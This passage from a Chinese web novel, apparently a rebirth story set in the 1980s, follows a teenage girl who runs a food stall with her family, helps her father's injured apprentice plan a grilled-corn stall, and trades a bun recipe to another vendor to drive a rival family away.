对面周明义听完这番分析,当场懵逼了!好家伙,你敢信这就是个街边卖凉皮的?这操/的心快赶上百货公司的一把手了吧! 这小丫头顶多十六、七岁,估计肚子里那颗心都是筛子做的,要不然怎么那么多心眼子呢? 惹不起、惹不起,他还是乖乖坐下来吃肉吧! 这凤城的溜肉段就是香,首都里那几位大师傅的手艺虽然也不错,但是总觉着差了那么点意思! 沈瑞看他大受打击的样子,不由笑了起来,清俊的脸上因为这一笑也越发温和好看。 “小义,这就是我常说的,凡事绝不可以貌取人。这个女孩子虽然年纪尚小,可不管是应付突发状况时的临场反应能力,还是快速做出降价决定巩固声誉的魄力,都不逊于许多经验丰富的老油条……也许这其中也有个人天赋的缘故。但是你也别灰心,你今天的回答还不错,只是尚有进步的空间,要继续努力。” 周明义:“……” 莫名有点心塞,嘴里的溜肉段突然就不香了! 等苏家人从客运站往家返的时候,已经下午四点多了。 倒不是凉皮和包子到现在才卖完,事实上经过中午那一场后,凉皮两点之前就卖光了,紧跟着不到半个小时,包子也一干二净。 之所以多等了两个小时,是因为先前有原价买过凉皮的人听着信儿后陆续回来登记信息。 今天优惠前,他们大约卖出了一百多份凉皮,而现在,苏丽珍的小本子上已经留下了八十五个食客的登记信息。 当然,这里面自然也掺了“水分”,不过现在的人还是比较实诚的,她估摸着充数的不会超过两只手。 少挣个块八毛钱,她并不怎么在意,她在意的是这一份份信息所能透露出的商机。 比如,一部分人的住址能够直观地反映出,目前常来买他们家凉皮的客人工作情况,例如在服装厂家属院住的就是自己或家人在服装厂工作。 比起需要养家糊口的大多数人来说,这部分人显然经济压力更小,所以出手阔绰,工作也相对轻松,他们本身就是比较理想的客户类型。 再加上工厂内部消息流通快,一个科室里有了什么事,可能半天不到就传遍了整个厂子。所以未来,这也是能为她吸引到更多优质客户的途径之一。 虽然他们目前还只是个小摊子,可有些准备是越早越好的。 就像她现在每天都会从报刊亭那里带回一份报纸,将有关新政策和法律法规的报道通通收集起来,尽量保证自己能了解更多的时政要闻,不至于以后关键时刻两眼一抹黑。 因为今天拖得有点晚了,加上白天有人闹事,苏卫华夫妻俩精神难免紧张,苏丽珍便打算到国营饭店买点吃的回去当晚饭。 让父母先回家,她径自去了离家最近的国营饭店。可能是离正式的晚饭点还有一段时间的原因,今天这家小店里难得的菜很齐全。 苏丽珍要了一份红烧肉炖油豆角,一份红烧鲤鱼,一共花了三块一毛钱。 家里有现成的二合面馒头,主食就不用买了。 另外她又打包了一份炸花生米、四个咸鸭蛋,留着明早配粥喝。 李翠英一共给她拿了十块钱,这次一共花了不到五块钱,要是搁在从前,这五块钱就足够他们一家三口半个月的生活费了。 如今家里生意好,每天的收入就顶得上许多人一个月的工资,李翠英也不再像之前那样精打细算。 甚至夫妻俩常常因为闺女太过听话而头疼,每天日常三问就是“闺女,今天去买衣服吗?”“闺女,妈给你拿钱出去看看电影啊?”“闺女,你去副食店买点零嘴吃啊?” 今天苏丽珍这样“大手笔”花钱,估计两口子不但不会说什么,反而有可能要夸夸她? 苏丽珍想想那副场景,唇角就忍不住上扬。 等她拎着一兜子饭盒到家的时候,刚进院子就听见屋里传来熟悉的说话声! 原来是大勇哥来了! 苏丽珍掀开屋门口的草珠帘子,刚要张嘴喊人,就听见屋里丁大勇格外沉闷的一句:“师父、师娘,你们别担心,我这点伤真不算啥,不用上药!” 苏丽珍当即皱起了眉头,大勇哥怎么受伤了!—— 作者有话说:晚安。 第25章 她急忙放下手里的东西,赶紧进了东边大屋。 “大勇哥!” 丁大勇恰好就坐在正对屋门口的椅子上。一照面,苏丽珍就发现他头发凌乱,一身蓝色工装上也沾了不少尘土。 除此外,他嘴角处有一大块淤青肿胀,右边手臂上卷起的衣袖外还有一道起码半尺长、两指宽的深红血印子。 苏卫华和李翠英两口子正一个抱着药箱、一个拿着红药水和棉球要给他擦药。 大概是觉得自己不该这一身狼狈地跑过来,让师父、师娘操心,丁大勇看见苏丽珍进来,越发不好意思,赶忙从椅子上起来,讷讷地回了声“小师妹”后,就像个犯了错的小媳妇似的缩着脖子站在那里不动了。 苏卫华看他那这样又是心疼、又是生气,张嘴骂道:“你杵着干啥?赶紧坐下,让你师娘给你上药!多大的人了,还这么不听话!” 结果话音刚落就被李翠英剜了一眼,“你横啥!就你厉害咋地!”转头又对丁大勇和颜悦色道:“大勇啊,咱不搭理他!让师娘给你擦擦药,你看你胳膊上那大血印子,这得多疼啊!” 丁大勇却还是摇头,“师娘,真不用t,这点伤明天就好了!” 苏丽珍大约猜到了他的顾忌,便插口道:“妈,这红药水涂完一大片,大勇哥手臂上还好,脸上的就实在太显眼了!我听我们学校的校医说过,这种新出现的淤青用冰敷一敷效果最好,要不我去买两根冰棍回来试试?” 这句话一下点醒了夫妻俩,这孩子没到下班点就出来了,不回家,却带着伤跑到他们家里,明显是担心自己这样子让他妈担心。 想到丁大嫂那病弱的身子骨,两人心里都叹了口气。 李翠英心疼闺女,马上道:“你刚刚都跑一趟了,还是我去吧!” 苏慧兰想着副食店离得不远,就没跟她争。 于是李翠英把手里的药水、棉球交给苏卫华,让他先帮丁大勇处理胳膊上的伤势,就匆匆去买冰棍了。 苏丽珍也没闲着,拿起家里的脸盆,翻出一条新毛巾,打了水先让丁大勇简单擦洗了一番。 丁大勇看着师父一家三口为自己忙前忙后,心里特别感动。 本来之前他还有一点担心,怕自己这样冒冒失失地跑过来会不会让小师妹反感。 虽说小师妹现在不像以前了,每次看见他都会亲切地打招呼、说话,可他总感觉这样的小师妹好像有了更多的心事,也更难以捉摸。她就像在自己周围布下了一层层隔膜,除了师父、师娘,谁都进不去……或者说,可能很多时候连师父师娘也进不去。 丁大勇每次涌起这个念头就觉得自己很可笑,现在的小师妹又聪明、又孝顺,他看得出师父一家现在的日子过得很好,两人每次一提起女儿,脸上的笑藏都藏不住。 连他表舅都常说,这一家最能拿事的其实是这个小闺女,别看闺女岁数小,可脑瓜精明,一个能顶得上他丁大勇十个。 对于这点,他虽说多少有那么点不服气,但是他也明白小师妹的心情绝对能左右师父、师娘的想法,所以他不想让小师妹对他反感。 “大勇,到底咋回事!你这孩子咋还不说话了?” 一道焦急的催促声让丁大勇飞快醒过神,他这才发现自己刚才竟不知不觉走了神。 而苏卫华帮着徒弟处理了伤口、简单擦洗一番后,也终于按捺不住催问他到底跟谁打架,结果丁大勇坐在那儿老半天一言不发,苏卫华以为徒弟这是有意不说,顿时着急起来。 “你这孩子现在主意咋这么大了!你赶紧说,到底跟谁打得架?因为点啥?” 正巧李翠英也买到了冰棍回来,院子里就听见苏卫华大呼小叫,忍不住数落他:“又喊、又喊,你就不能跟孩子好好说?” 苏丽珍把李翠英买回来的冰棍用手绢包好交给丁大勇,让他轻轻敷在嘴角处。 丁大勇看因为自己的缘故,师父都挨了师娘两回训了,赶紧老老实实把他打架的经历和盘托出。 原来自打今年年初苏卫华正式离职后,他的班长职务就由一个关系户直接接任了。 工厂里人际关系复杂,盘根错节,这种事也不算稀奇。可问题是这关系户不是别人,正是他们机械厂二车间车间主任的小舅子,那是个除了喝酒打牌睡懒觉之外,没有一样拿得出手的主。 自打这位当了领头的班长后,丁大勇这一班十人可算是感受到了什么叫水深火热。这位要么是该签字领料的时候找不着人,要么是瞎指挥导致产品不合格率节节攀升,丁大勇他们的奖金几乎月月被扣。 这周周一的时候,因为这位头一天喝多了酒,一上班就头昏脑涨,导致申报的领料计划出了错,结果就是丁大勇他们这一周的生产任务没完成,七月份的奖金又一次没了。 可明明是这位的错误,这人却贼喊捉贼把错误都推到别人身上,丁大勇一时气不过顶了句嘴,这位挂不住脸就跳脚把丁大勇骂了一顿!而且过分的是,他连死去的丁家父兄姐三人也一并捎带了去。 这丁大勇如何能忍,当即就一拳头打了过去! 那位早被酒肉掏空了身子,哪里是人高马大的丁大勇对手,当即被打得哭爹喊娘,要不是大伙帮忙及时把丁大勇拉开了,这小子最轻也得在医院躺个个把月。 因为丁大勇是先动手的人,再加上那位的背景,厂里的处罚结果很重,据说是差一点就被开除了!多亏厂里不少老人之前跟丁父和苏卫华关系不错,加上有几位厂领导了解丁家的情况,这才勉强保住了丁大勇这份工作。 然而工作虽保住了,可后头的处罚却一点不轻,丁大勇被记大过不算,还被一口气扣掉了六个月的工资! 丁父当年生病,家里已经欠了不少债,如今丁母也是病病殃殃,家里还有丁大勇姐姐留下的一个三岁大的女娃娃,这个家就全靠丁大勇那点工资支撑,没了工资,可想这一家老小怎么活! 丁大勇领了处罚,却不敢回家,生怕身上的伤被丁母发现后追问他原因,所以在路上踟蹰了半天,最后还是来了苏家。 说完了这一番前因后果,他就低下了头,手里敷脸的冰棍也不知不觉放下了。 苏丽珍看着对方那瘦削的双肩,闷不透气的劳动服工装,才陡然醒悟,眼前这个前世里几乎帮忙撑起他们家半边天的师兄,如今也只是个不满十八周岁的少年。 他的眼里同样有着面临生活重压时的迷茫和脆弱。 苏卫华夫妻俩是真心喜欢丁大勇,眼下见他这样,李翠英格外难受,她上前一把搂住丁大勇的肩膀,不住安慰道:“没事,孩子!不怕啊,有师父、师娘在呢!我们给你想办法!” 丁大勇却摇了摇头,抬起胳膊飞快擦了下眼睛,再次抬头时脸上却已经挂起了惯常的笑容。 “不用了,师娘,我自己能行!大不了等过两个月,这事过去了,我再去找领导们求求情,再预支点工资!到时候,他扣他的,我支我的!” 可话虽这样说,在场的人心里都明白,有那位的姐夫在,这工资未必能支得出来。 苏卫华拧着眉头,知道这一回小徒弟是吃了大亏,这档案一留底,以后评职称、提干可就难了! 但是他一时也想不出什么好办法,倒是钱这方面,他能帮得上! 夫妻俩便纷纷劝说丁大勇,让他先从自家拿些钱回去应付接下来半年的开销。 奈何丁大勇也是个自尊心强的孩子,任凭他们说破了嘴,就是摇头不肯答应,只坚持说他自己会想办法,气得苏卫华脑门子生疼。 就在这时,一直沉默的苏丽珍忽然开口:“大勇哥,如果现在有一份能保证收入,但是却十分辛苦、而且会被人看不起的工作给你,你愿意做吗?” 丁大勇和苏卫华夫妻俩同时一怔,丁大勇下意识就问了句:“什么工作?” 苏丽珍看着他,一字一句道:“摆摊,做小贩!” 这回不等丁大勇开口,一旁的李翠英先急了:“不行啊,珍珍!你大勇哥咋说也是正式工作,可不能辞工跟咱们一样去摆摊啊!” 一听李翠英这么说,丁大勇和苏卫华也微微变了脸色。 尽管摆摊的收益很高,可跟一份正式工作比起来还是有差距,这一点,即便是已经尝到了甜头的苏卫华夫妻俩也依然这么想。 苏丽珍心里喟叹,可所谓的“铁饭碗”真的就能端一辈子吗? 她记得上辈子出国的时候,大多数国企就已经面临库存积压、连年亏损的困境,有些企业甚至需要财政连年贴钱才能维持运转。 这样的单位真的有可能长长久久吗? 当然,这都是后话,眼下的机械厂工人还是个香饽饽,她这会说什么也不可能一下子改变他们这种根深蒂固的想法。 苏丽珍便无奈地解释道:“妈,看你说的!我的意思是大勇哥可以在晚上下班后,利用闲暇时间去摆个小摊子赚点零花钱!” 一听她这么说,三人才松了口气。 苏卫华夫妻俩一想,这干个体要是干得明白,那利润可远比工资还高,让丁大勇在不影响本职工作的前提下出去摆个小摊子,确实是个好主意。 夫妻俩赶忙征求丁大勇的意见,“大勇,你是咋想的?你就实话告诉我们!你珍珍妹子也是随口一说,咱们一切还是以你自己的想法为主!” 这事要说搁在以前,那丁大勇肯定是不愿意的,可自打他看见师父一家开始摆摊后,每天也是起早贪晚地忙t活,都一样得劳动,这干个体的好像也没啥! 尤其眼下因为他自己不争气,家里眼见要没米下锅了,这个时候他还有啥可嫌弃的! 于是,他忙不迭点头道:“师父、师娘,我愿意听你们的!” 说着,他又有些不好意思地挠了挠头,“就是我不知道我能摆摊卖啥?” 这确实是个大问题,夫妻俩现在都知道闺女是个有主意的,也没避讳,当着小徒弟的面就直接问苏丽珍:“那闺女你说说,你大勇哥摆啥摊子合适?” 丁大勇闻言有些吃惊,没想到这么大的事,师父师娘居然先问小师妹! 这么想着,他也忍不住把目光投向面前始终不疾不徐的少女。 苏丽珍对上他惊讶到直白的目光,只是柔和地笑了笑。 关于这点,她确实仔细考虑过了。丁大勇性格比较老实,不是能说会道的人,自身又没什么经验,像需要低买高卖、赚差价的商品肯定不适合他。而要想本钱少、回钱快,还得是卖吃的。 当然,太复杂的东西肯定不行,最好是用料简单、易操作、上手还快的小吃。 而她眼下还真想到了一个! “卖烤苞米!”—— 作者有话说:晚安~ 第26章 “烤苞米?” “对!”苏丽珍点头。 “烤苞米相对其他小吃,没什么技术要求,简单好上手,而且它既能当零食也能当主食,算是老少皆宜的小吃,在大众心中也更加划算。加上现在已经快七月底了,正是乡下农户自留地里早苞米下来的时候,大勇哥可以请张表舅帮忙收购,起码赚几个月块钱是不成问题的。” 苏卫华三人听她解释完,相互看了看,脑海里都不禁浮现出把新鲜苞米扔进做完饭的灶坑里烤熟的样子。 要说烤苞米,他们能想到的也就是这么做了。可这玩意儿好吃不假,就是有点埋汰,整完黑不溜秋的,蹭得一手黑灰,这能好卖吗? 苏卫华夫妻俩一时有些迟疑。 丁大勇更是一头雾水。他虽然是城里长大,可因为自家表舅的缘故,新鲜的早苞米也没少吃。尤其小时候不懂事,为了解馋,就背着大人把家里那点苞米、土豆子啥的偷出来,找个僻静地方拢个火堆烤熟了吃。 这东西要咋卖呢?难不成也在街道边上拢个大火堆?这警察到时候能让吗? 李翠英就犹豫着问道:“闺女,那这苞米咱咋烤啊?是不是得先砌个炉灶啥的?” 苏丽珍听得直乐!难怪这三人听完一脸发懵,十有八九是想岔了!不过,也不能怪大伙儿思维固化,实在是这年头信息太闭塞了,他们还不知道这世上有一种美食叫烧烤。 她只得找出纸笔,一边循着记忆在纸上画出烧烤炉的样子,一边给三人解释:“爸、妈,大勇哥,我说的烤苞米不是像咱们平常那样直接扔进灶坑里,那样烤熟的苞米顾客不方便拿,而且很容易烤糊!我们要用专门的烧烤炉和木炭来烤……” 苏丽珍有一点画画功底,家里新三轮车围帘上的那些画和美术字都是出自她的手,还受到了很多人夸奖。 因此寥寥数笔就将一架烧烤炉的样式勾勒出来。 “你们看,这内膛里用不起明火的木炭,也可以在上面放置一层烤炉网,这样烤出来的食物味道好,速度快,不起灰,操作起来也更安全!而且我们还可以在这两边各加一个小把手,这样来回搬运、携带也会更方便!” 三人认真听着苏丽珍介绍,又把那烧烤炉的草图来回看了几遍,越看越觉得可行! 苏卫华忍不住高兴道:“我看这炉子不难做,找几块废料个把小时就焊出来了!但是这东西设计得挺巧的,别说,要我可真想不出来!” 李翠英白了他一眼,美滋滋道:“你当然不行,这可是我闺女的主意!” “妈,这不是我想出来的!”苏丽珍有点汗颜,这玩意儿虽然再过几年就要席卷整个东北的大街小巷,可还真不是她想出来的! “我也是之前无意中在一本杂记上看到的,人家是文字描写,我闲着没事就试着画出来了。” 如今带图纸的器械类书籍都特别少,担心苏卫华好奇心起,追问她书的来源,她只好编了这么个迂回的理由。 果然,苏卫华听完有点失望,显然也误以为这草图是来自什么专业的书籍。 苏丽珍赶紧转移话题,又问一直没开口的丁大勇:“大勇哥,你是怎么想的?” 丁大勇的目光又一次在那张草图上停留了一会儿,等他再次抬头时,眼神已经变得坚毅。 “师父、师娘,小师妹,我想好了,我就干这个了!” 苏丽珍点点头,语气却比之前更加严肃了几分。 “大勇哥,虽然你说你已经想好了,但是有些话我还是得先跟你说清楚。干个体确实十分辛苦,就拿这烤苞米来说,你要先自己收一批早苞米,下班后要带着这些东西到人流密集的地方,大热天里守着碳火炉子不能歇气儿!在这个过程中你很可能会遇见熟人,被人家或同情、或者瞧不起!就算你把这些都挺过去了,也有可能因为这样那样的原因最终没挣到钱,甚至赔了本!就算这样,你也还想干吗?” 随着她每说一句,丁大勇的面色便难看一分,到最后甚至隐隐发白。 旁边的李翠英不忍心想开口,却被苏卫华轻轻拉住,并摇了摇头。 屋子里一时落针可闻,丁大勇额头冒汗,最终却捏紧了拳头,咬着牙道:“小师妹,我明白你的意思了!不管咋说,我还是想干!” 苏丽珍脸上不由露出了笑意。 不是她信不过大勇哥的人品,而是这世上并没有真正的万无一失,所以她希望对方能真正了解自己即将要做的这件事,并从一开始就做好一切的思想准备。 毕竟一旦有失,经济上的损失她能帮忙弥补,可对方随之丧失的信心和勇气就很难再找回来了。 不过面前的人是上辈子对她全家掏心掏肺的大勇哥,她无论如何都会全力帮助他,让对方少走弯路! “好,大勇哥!那接下来咱们再说说其中的细节。” 她再次拿起笔,在纸上画出了以丁大勇家机械厂家属院为中心、前后左右各两个公里范围内的一张简易地图。 货源方面有张表舅在,问题不大,主要还是销售这一块,尤其是摆摊的位置十分重要! 她在画好的地图上将一些数得着的建筑标上名字后,又在上面重点圈出了两个位置。 “我建议大勇哥的摊子可以在这两个位置中选一个。” 她用笔在两个圆圈上分别点了点,“这里背靠几个工厂家属院,这里紧挨一座中型公园。这两个位置要么是上下班的必经之路,要么是饭后遛弯儿的理想地段,把摊子摆在这两个位置,起码能保证一定的客源。” 丁大勇这才明白苏丽珍画这份地图的用意,不由也认真琢磨起来。 此外,一家小吃摊要想稳定地经营下去,除了充足的货源,稳定的客流之外,最核心的还是食物的味道。 卖烤苞米固然好处众多,可它也有一个致命缺陷,就是太容易被人跟风模仿,所以要想一直卖得好,最好还是尝试提升食物味道,增强核心竞争力。 结果听完苏丽珍这话后,三人又一次面面相觑,半天不知道说啥。 最后丁大勇实在憋不住,他算是看出来了,这个小师妹是真有本事,他确实比不上!当下也不敢在这儿不懂装懂,索性直接问道:“小师妹啊,那烤苞米还能整出啥别的味道吗?” 李翠英也跟着道:“就是啊,闺女!那你烤的是苞米,还能出地瓜味儿咋地?” 苏丽珍一噎,一时也不知道该怎么跟他们解释后来风靡一时的辣酱烤玉米和在国外常见的奶油烤玉米。 算了,这个问题等烤炉做好了再说也不迟!别的不说,反正《料经》里各种酱料多得是,光辣酱这一项她就能找出十来个。 等到大勇哥开始试烤了,她再把辣酱拿出来,到时候他们就会知道这新世界的大门长什么样。 毕竟“百闻不如一见”,只有让她爸妈和大勇哥都亲身尝试过,才会慢慢打开思路。 而说到烤炉的问题,苏卫华开口了:“大勇,做烤炉的事你先别插手。这阵子你都要尽量小心,保不齐厂里正有人等着抓你小辫子!明t天我带着草图去找人,这点面子情我还是有的!” 丁大勇忙说:“师父,不用麻烦您……” 旁边李翠英直接打断他:“大勇,这事就听你师父的!而且你以后白天上一天班,晚上下班还要出摊,实在不轻松,要我说,还是得想办法把你换个位置,最好能不在二车间!他爸,你说呢?” 丁大勇:“师父、师娘,真不用!我能行……” 苏卫华理都没理他,最后沉吟道:“普通工人调岗其实不算难事……明天我带点东西找刘厂长和一车间的夏主任试试,当初丁老哥在的时候因为技术好、水平高,这两人就挺看重的,怎么说这里头也有几分面子情!” 苏丽珍翻着手里白天登记的顾客资料,也适时道:“正好白天我这儿有些人留的是工作地址,我看里面有在百货公司和酒厂上班的,我问问他们手里有没有高档烟酒票,咱们直接买几张!” 苏卫华夫妻俩也点了点头,经过这阵子摆摊,夫妻俩也不像过去的死脑筋,对于给人送礼、求人办事这些也能想得开了。 丁大勇却是眼圈都红了,有些哽咽道:“师父、师娘,小师妹,你们真的对我太好了!我不知道说啥好……你们放心,我以后一定要混出个人样来,好好孝敬师父、师娘……” “你是得好好孝敬你师父、师娘!” 这时一道明显中气不足的妇人声音突然在门口响起,几人吓了一跳,转头一看,竟是丁大勇的母亲正站在门口。 丁母今年四十多岁,因为身体不好,瘦骨伶仃,皮肤蜡黄,头发也白了大半。 此刻她就站在苏家大屋门口,一手撑着门框,后背还背着个硕大的柳条筐。任谁看一眼都要生出几分担心,怕她随时会被那筐子坠倒在地。 一见来人是丁母,李翠英和苏丽珍赶忙起身迎了过去! “嫂子你咋来了,赶快进屋!” “丁大娘!” 两人一左一右过去搀住丁母。 走到近前,苏丽珍才发现丁母背筐里竟是一个睡着的小女孩! 她忽然想起,这个孩子应该就是大勇哥的姐姐当初遗留下的女儿,小名叫岁岁,今年应该三岁了。 丁母先是感激地握了握李翠英和苏丽珍的手,然后径自走到明显心虚的丁大勇跟前,突然厉声道:“丁大勇,你给我跪下!” 丁大勇一缩脖子,怕丁母生气,赶忙听话地跪了下去。 苏卫华夫妻俩连忙劝说:“嫂子,你别着急,也千万别动气,咱有啥事慢慢说!” 丁母却对两人摇了摇头,和声道:“苏兄弟、弟妹,我没事!这混小子的事我也都知道了……刚才王二华家的来我们家,把一切都告诉我了!所以他没回家,我一猜他就是来这儿了。” 苏家三口一时无言,丁家也在机械厂家属院,知道这事是早晚的,只是没想到有人嘴那么快。 丁母又对丁大勇板着脸训道:“让你跪下,不是跪我,是让你跪你的师父、师娘!丁大勇,你要把你刚刚的话给我牢牢记住,以后一定要混出个人样,将来要像对我一样对你的师父、师娘!要不然你就没我这个妈,你记住了吗?!” 苏卫华夫妻俩大惊,“嫂子,这可使不得!大勇是我徒弟,我做这些也是应该的,你实在不用这样!” 丁母却摇了摇头,“这世上哪有那么多应该!其实我早就来了,听着你们一家人帮他谋划,每个字儿都把他放在心上……你们夫妻对大勇的好,我这辈子是还不上了!只盼着这孩子自己能出息,也不枉你们为他操劳这一场!” 丁大勇忍不住泪流满面:“妈,我记住了!你放心,我今后一定好好干活,努力挣钱,我会孝敬你和师父、师娘,也对小师妹和岁岁好,你们就是我丁大勇这世上最亲的人!” 丁母咬着牙,上前一拳、一拳地捶着儿子瘦削的肩头,“你个不省心的……我叫你不学好,和人打架……叫你不回家……”捶着、捶着,自己也落了泪。 苏家人心里也不好受。想想当初丁大勇父亲还在世的时候,因为是厂里数一数二的高级工程师,连带丁家的日子也很不错,没想到才短短十来年就人走茶凉,实在叫人感叹。 直到丁母背筐里的岁岁被吵醒,吓得哇哇大哭起来,夫妻俩才劝着丁母坐下消气,又赶忙把丁大勇扶起来。 这一折腾,已经快晚上六点了,大伙儿还都没吃饭,苏卫华和李翠英好说歹说,才把丁母留下来吃饭。 今晚正好有国营饭店买回来的菜,红烧肉炖豆角,看里头肉不少,李翠英又添了把粉条炖了下,好吃还不腻。 红烧鲤鱼、油炸花生米、咸鸭蛋,再炒个鸡蛋、拍个黄瓜,正好六个菜。 小岁岁看到这么丰盛的晚饭,高兴极了,她也不怕生,咧着小嘴兴奋地嗷嗷直叫。 苏丽珍看着快三岁的孩子乳牙还没出几颗,心里有些不是滋味,更加打定主意,无论如何先帮大勇哥把摊子支起来。 等他手头有了本钱,就算将来机械厂的工作没了也无所谓。 八十年代是许多国企走向衰落的年代,也是遍地商机的黄金年代。只要敢想敢做,就算一穷二白的人也能打下一份殷实家业。 第二天,苏家出摊的时候,昨天许多登过记的人果然都来了。 苏丽珍按照计划,还真的从这些人当中淘到了几张高档烟酒票。 等过了中午,生意稍微没那么忙了,她就带着钱票去百货商店置办送礼用的烟酒。 离得最近的是第二百货,不过去之前,她还是绕道先去了一趟火车站。 她可没忘,那里还有点事没解决呢—— 作者有话说:晚安。 感谢在2022-06-0621:05:23~2022-06-0723:33:33期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:420491945瓶; 非常感谢大家对我的支持,我会继续努力的! 第27章 火车站有两个出站口,苏丽珍直接去了客流更大的南站口。 时隔半个多月,火车站门口还是一如往昔地热闹喧嚣,之前那几份卖水果、瓜子零嘴的小摊子也依然在原来的位置,基本没啥变化。 不过,正如她所料,王老四家今天果然没有出摊。 苏丽珍心中冷笑,看来昨天那母子三人应该是已经出过气了! 就盼他们下手狠一点,能好好折腾王老四几天。 她在原地观察了一会儿,最后才走向了附近唯一一份卖主食的摊子前。 这是一家卖麻花的小摊子,而说是摊子,其实只是一架自行车,车后座绑着个大木箱而已。 也许不是饭点的原因,也或许是天气太闷热,来买麻花的远不如其他卖水果、零食的摊子上人多。 摊主是个四十多岁的妇女,收拾得十分干净,一看见苏丽珍走过来,立马热情地招呼起来:“闺女,买麻花啊?我家麻花可好吃了!” 苏丽珍微笑着点头,“阿姨,多少钱一根啊?” 妇女:“一毛五一根!闺女,我家麻花个大,像你这样的小身条,一根就能管饱,你看看!” 说着,就主动掀开了车后座上的大木箱盖子,露出里面一根根炸的金黄松软的老式大麻花。 离得近了,面粉经过油炸后的淡淡甜香味就扑鼻而来。别说,这麻花真挺诱人的,而且个头也确实不小,估计都用不了一根,她就能吃饱! “阿姨,给我来三根吧!” “好嘞!” 妇女高兴地应了一声,就麻溜地从前边车把手上挂着的布兜里抽出两张油纸,用木夹子夹出三根麻花包好,最后用细草绳拦腰一捆就递给了苏丽珍。 苏丽珍笑眯眯地接过,一边递过去一张五毛的纸钞,一边状似不经意道:“阿姨,我听人说这南站口最近有家包子卖得挺火,我怎么没看见啊!” 结果妇女听完这话,脸上的笑容顿了顿,语气也不复之前热络:“是有,不过今天没来。” 一直留心观察她表情的苏丽珍见此,心里稍微有了底,仍旧道:“是吗?那真是太不巧了,听说他们家包子特别好吃,我还想尝尝呢!也不知道等一会儿他们还能不能来!” 这回妇女没再吱声,等从随身的口袋里翻出五分钱找给苏丽珍后,大概是不想得罪顾客,妇女最后还是叹了t口气道:“闺女,他们家一般早上九点多钟就过来了,这个点要是没来就不会来了,你还是别等了。” 想了想,她又没忍住非常委婉地提醒了苏丽珍一句:“闺女,这大三伏天的,人的肠胃容易闹病,吃进嘴里的东西最好都仔细些……” 可能怕苏丽珍有啥不好的联想,她又急忙补了一句:“不过我家麻花肯定没事,就是你也别搁得时间太长,容易走味……” 苏丽珍心里直乐,这位阿姨倒也是个实诚性子。 她脸上露出了淡淡的笑容,认真点了点头,“阿姨,谢谢您的提醒!看来,您也知道了,这家包子摊的摊主人品不好,那样的人一惯都把心思放在歪门邪道上,估计跟他们家做邻居,您最近也没少受累吧!” 妇女听完这话十分惊讶,忍不住直直看向苏丽珍,却只听对方继续说道:“阿姨,不好意思,之前我有意套了您的话。不瞒您说,我家也是干个体的,这家包子摊摊主姓王,之前找人害过我们家,差点让我们损失惨重,我这次来就是为了找他们算账的!” 妇女闻言不由皱起了眉头,上下打量了苏丽珍一遍,有些狐疑道:“你说的都是真的?你这小姑娘才多大?你爸妈就放心让你自己来?” 放心自然是不可能放心的,事实上,是苏丽珍再三向他们保证自己这次不会直接出面,两人这才答应让她过来。 不过这些,她当然不会说出来,是以面对妇女的怀疑,她只是一脸镇定自若道:“阿姨不用担心,我说的话千真万确。他姓王的差点害我们家砸了招牌,我自然也要让他在这火车站待不下去。” 也许是苏丽珍脸上的神情太过笃定,妇女心里竟不由信了几分,忍不住追问道:“那,闺女你打算怎么对付他们?” 苏丽珍看着对方眼里那压不住的期待,没有回答,反而问了妇女一句不相干的,“阿姨,你这麻花买卖好做吗?” 妇女怔了怔,她的麻花卖的还算可以。只是这东西又是油、又是糖的,她没有票,只能花高价弄原料,所以也就导致成本下不来。 成本高了,卖价自然低不了,尤其赶上现在天热,她每次都不敢多做,就怕万一卖不动,到时候砸手里。可油炸的东西,你越做的少、越不挣钱,这一来二去,她也就是挣个辛苦钱,糊弄个比上不足、比下有余而已。 她也有想过换别的东西做,可她手艺普通,只有这手当初跟已去世的公公学的炸麻花做的最像样。卖麻花她好歹是挣钱的,这要换成别的,她还真没有啥信心。 妇女脑中飞快闪过这些念头,不过她自然不会对眼前的小姑娘说,反而谨慎地问对方:“还行吧,你问这干啥!” 苏丽珍笑了笑,“阿姨,您别紧张,我没有别的意思,就是想问问您除了麻花以外,还想不想再卖点其他的。” 妇女目光一闪,“你这话啥意思?” 苏丽珍:“阿姨,我也不跟您废话,我手上有一份包子秘方,荤馅儿、素馅儿都能调,味道不能说最好,但肯定比寻常手艺要强很多,最重要的是,按照我这方子做出来的包子成本并不高。” “比起麻花,包子荤素皆可,适口性更强,也更加不受季节和早晚时间的约束,我认为至少在目前来看,它应该比麻花更好卖!这一点,相信您也能从王家摊子上看出一二。” 听她突然提起王老四家,妇女原本听得认真的脸上不由闪过一丝不忿。 苏丽珍只当没看见,继续说道:“除了馅料,我这里也可以提供一些关于发面的诀窍,从各方面保证包子的口感。所以有了我的这份方子,别说阿姨您这样会做饭的人,就是没什么下厨基础的人,练习一段时间也能出摊。” “不过,我也不是平白做好事,我提供这样一份可以说很珍贵的秘方,只有一个条件!” 妇女忍不住脱口问道:“啥条件!” 苏丽珍一字一句道:“把王家赶出火车站!” 听她这么一说,妇女忍不住抽了口凉气,虽然她早在对方说起包子馅儿的时候心里就隐隐有了猜测,可直到亲耳听到,她还是禁不住的吃惊,这得多大的仇啊,连自家的食物方子都能白送出去。 可是这些她管不着,事实上,她真的对小姑娘卖包子的提议十分动心! 毕竟自打那姓王的来了以后,虽说是使了不少缺德手段,可他们家的包子也确实卖得火,她之前让儿子偷偷买过一回尝过,味道也就普普通通,没比她强多少。 如果她真拿到了好吃、成本又不高的包子秘方,那这南站口哪里还有他姓王的啥事! 思及此,妇女心中十成已经动了九成,只最后还是忍不住跟苏丽珍确认:“如果我同意你的要求,你真的能给我那方子?不骗人,而且过后你父母也不会再找上我?” 看对方这样谨慎,苏丽珍反而高兴,这说明对方确实是有认真考虑这件事。 “阿姨,这点我可以保证,我父母也知道这件事,他们绝对不会来找你的麻烦。” 妇女一咬牙,“行,我答应你的要求!只要你给我方子,我就帮你赶走那王家!” 苏丽珍笑着点了点头,直接从随身带的塑料兜里拿出一张折好的信纸递给了对方。 “这就是方子,上面是馅料的调制方法,下面是关于发面的诀窍,您收好。” 妇女一接过方子就迫不及待打开,认真看了起来。 苏丽珍瞧着她那聚精会神的模样,忍着笑提醒了一句:“阿姨,这方子您拿反了。” 妇女脸上一红,有些讪讪地把那张信纸调了个头,想了想,最后干脆又原样折好收了起来。 苏丽珍温和道:“阿姨,其实您没必要担心,我不会骗您的!毕竟这种谎话随时都能戳破,没有任何意义。我这里只是要提醒您,请您务必记住答应我的要求,一定要让王家在这火车站待不下去,我说的可不只是这南站口!” 